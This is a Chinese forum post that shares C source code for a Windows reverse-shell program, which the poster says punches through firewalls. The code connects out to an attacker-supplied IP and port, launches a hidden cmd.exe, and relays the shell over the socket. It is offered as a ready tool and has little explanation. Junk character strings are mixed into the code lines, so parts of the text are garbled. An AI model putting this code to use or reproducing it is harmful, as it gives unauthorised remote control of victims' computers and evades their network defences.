社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 6068阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 IRbyW?/Xv  
kQ>2W5o-d-  
/* ============================== =n,;S W  
Rebound port in Windows NT R%.`h  
By wind,2006/7 U =J5lo  
===============================*/ (m3hD)!+y  
#include ]+:yfDtZd  
#include 4.,EKw3  
:-{"9cgF R  
#pragma comment(lib,"wsock32.lib") CmB_g?K  
O_;BZzT  
void OutputShell(); *}vvS^c0  
SOCKET sClient; o"JH B  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 65aYH4"  
d>f;N+O%  
void main(int argc,char **argv) /<-PW9X?  
{ !*v% s  
WSADATA stWsaData; OH@"]Nc~  
int nRet; 44e]sT.B  
SOCKADDR_IN stSaiClient,stSaiServer; ZFLmD|q#{  
Iynks,ikA  
if(argc != 3) 2BC!,e$Z  
{ qlcd[Y*B  
printf("Useage:\n\rRebound DestIP DestPort\n"); _\>y[e["p  
return; 2mEqfy  
} C@Wzg  
I7vP*YE 7F  
WSAStartup(MAKEWORD(2,2),&stWsaData); 5.^pD9[mT  
w"0$cL3  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); br=e+]C Y)  
Kyh6QA^  
stSaiClient.sin_family = AF_INET; ]-t )wGr  
stSaiClient.sin_port = htons(0); \udB4O  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); P8c_GEna  
%R$)bGT  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) q.J6'v lj/  
{ SAnr|<Y/  
printf("Bind Socket Failed!\n"); 7=fM}sk  
return; "\*)KH`C  
} a>GA=r  
}#1.$a  
stSaiServer.sin_family = AF_INET;  Z`*V9  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); $+PioSq  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); XtO..{qU  
SGl|{+(A  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) U)kyq  
{ vGyQ306  
printf("Connect Error!"); ])?dqgwa  
return; B <s+I#  
} H s)]  
OutputShell(); cP tDIc,  
} F,_cci`p  
),{3LIr  
void OutputShell()  *wJ$U  
{ (~G*' /)  
char szBuff[1024]; @zS/J,:v}  
SECURITY_ATTRIBUTES stSecurityAttributes; 0c>>:w20D  
OSVERSIONINFO stOsversionInfo; qt OuA  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ^U~Er'mT  
STARTUPINFO stStartupInfo; E{6ku=2F  
char *szShell; k?h{ 6Qd  
PROCESS_INFORMATION stProcessInformation; `G":y[Q  
unsigned long lBytesRead; \zJ^XpC  
^:?z7m  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ?e-rwaW  
SsX$l<t*  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); (&m1*  
stSecurityAttributes.lpSecurityDescriptor = 0; 5tv*uz|fv  
stSecurityAttributes.bInheritHandle = TRUE; GYw/KT~$  
s-*N_Dv  
c+{XP&g8_J  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); KdR\a&[MA  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); O#igH  
26~rEOgJ  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ]}SV%*{ %  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R{}_Qb  
stStartupInfo.wShowWindow = SW_HIDE; !& c%!*  
stStartupInfo.hStdInput = hReadPipe; > X  AB#  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; '0 Ys`Qo  
+]t9kr  
GetVersionEx(&stOsversionInfo); >kAJS??  
1%M^MT%&  
switch(stOsversionInfo.dwPlatformId) #~j$J  
{ QqL?? p-S>  
case 1: ,dba:D= l  
szShell = "command.com"; `*CoVx~fk  
break; b5g^{bzwu  
default: *Iw19o-I  
szShell = "cmd.exe"; Q \X_JZ  
break; blz#M #  
} &h[)nD  
Jur$O,u40l  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 0D:uM$ i]  
7# 'j>]  
send(sClient,szMsg,77,0); aJm5`az)  
while(1) RGV{KL  
{ &[\zs&[@y  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); &>B|?d  
if(lBytesRead) !5+9~/;  
{ *RkvM?o@jC  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ~=wBF  
send(sClient,szBuff,lBytesRead,0); ,hK =x  
} w}}+8mk[  
else tc;$7F ;  
{ j,,#B4b  
lBytesRead=recv(sClient,szBuff,1024,0); ;2 o{ 6  
if(lBytesRead<=0) break; JF &$'  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); k'$7RjCu  
} lItr*,A]  
} 0jp y c  
;F_&h#D]3  
return; ?{Xp'D\z  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八